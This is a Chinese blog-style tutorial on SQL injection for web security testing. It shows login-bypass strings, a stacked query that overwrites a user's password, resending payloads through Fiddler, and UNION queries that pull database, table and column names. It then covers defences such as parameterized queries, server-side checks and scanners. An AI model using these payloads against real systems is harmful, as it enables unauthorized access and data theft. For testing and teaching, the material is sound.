Bootstrap

Web测试关注点的攻与防--SQL注入

对安全性测试的知识点的总体框架可以参照 安全性测试知识整理 。
(题外话,很想回到从前,安静地去做一个真正的黑客,躲在荧光闪闪的屏幕前的偷笑)
本文主要就Web测试关注点中的SQL注入做一些深入了解。
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单或任意文本输入框的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。攻击者通过在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的查询,篡改命令。
 
百度的学习,点击进入
如何攻击:
 
一、登录攻击
 
对于一个登陆框:

 


假设的登录查询

写法1:  SELECT * FROM  user  WHERE username = '$username' AND password = '$password’
  Sever端代码

  String sql = "SELECT * FROM user WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

(这是一种安全级别最低的写法)
攻击时,只需输入字符
  username = ' or 1=1
   password = anything

实际的查询代码 
  SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything' 

写法2:
安全级别稍微高一点可以写为:

select username,password from user where username='$username' if(count()==1)    if (password=$password)             登录成功 攻击时,比较麻烦些,需要在用户名中,修改用户密码:
  username=' or 1=1;update user set password=’123456’ where usrid=1#’    
如果客户端约束了字符长度。则需要绕过客户端,直接将这串字符用Post的方式,发送给服务器。
具体操作方法是:先用 Fiddler 来捕获发给服务器的 POST 的具体信息


然后将那一串字符: username=' or 1=1;update user set password=’123456’ where usrid=1#’,代替username
直接用 Fiddler发送给服务器。如果还是不能登录成功,可以确认一下password是否需要经过MD5加密传送。
如果服务器的接收没有字符串的约束,那么就可以成功修改密码。成功登录系统了。
至此至少找到了两个安全漏洞:
1)SQL注入漏洞
2)服务器对接收字符串未检查长度。

 

二、URL攻击

 

如果发现有这样的网址:

http://www.*****.com/read.php?tid=2133611

就可以偷着乐了,因为很有可能这是一个可以攻击的网址。我们还需要尝试是否有漏洞。

 

我们猜测,后台的SQL语句应该是:Select * from thread where tid=2133611
做个简单的检测,在2133611后加个单引号:2133611'
执行后,如果弹出错误,就这就是URL可攻击的漏洞了。如果没有弹出错误,仍然正确的显示结果,就说明没有漏洞。



发现漏洞后,有什么可以做的么?呵呵,当然可以任意发挥想象啦。列举一些:
1、用order by尝试 ,找出数据表有多少列:
213361 order by 10
2、用Union,还原出原表
2133611 and 1=2 union select 1,2,3,4,5,6,7,8,9
为什么1=2?这样左表就是空的呀,列出来的就是右表,也就是原表了。
3、显示数据库名,用户名:
and 1=2 union select 1,database(),user(),4,5,6,7,8,9
4、有耐心的话,可以用这种方法显示所有的数据

and 1=2 union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=’learn’  limit 0,1(表示从第1条记录,开始显示,显示1条记录)

以此类推可以显示所有的表名。

 

以此可以继续获取列名。


and 1=2 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=’learn’ and table_name=’user’ limit 1,1


如何防范? 
 

1)通过对客户端和服务器端代码检查可以防止SQL注入

2)构造查询时,应根据用户输入内容设置参数值来创建参数化查询,从而避免SQL注入

 

一个常见的错误是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。

  参数化查询已被视为最有效的可防御SQL注入攻击的防御方式。目前主流的ORM 框架都内置支持并且推荐使用这种方式进行持久层封装。

  所谓的参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值。

例:     
    SELECT * FROM myTable WHERE myID =
 @myID

    INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(
?,?,?,?)

  通过(?)指定占位符,当然在添加参数的时候,必须按照(c1, c2, c3, c4)的顺序来添加,否则会出错。

3)通过扫描工具发现系统是否存在SQL的安全漏洞,常用的工具:N-StealthWebInspectNikto等。

 

4)对于客户端限制,还需要在服务器端予以同样的限制为了弥补客户端验证机制脆弱的安全性。

;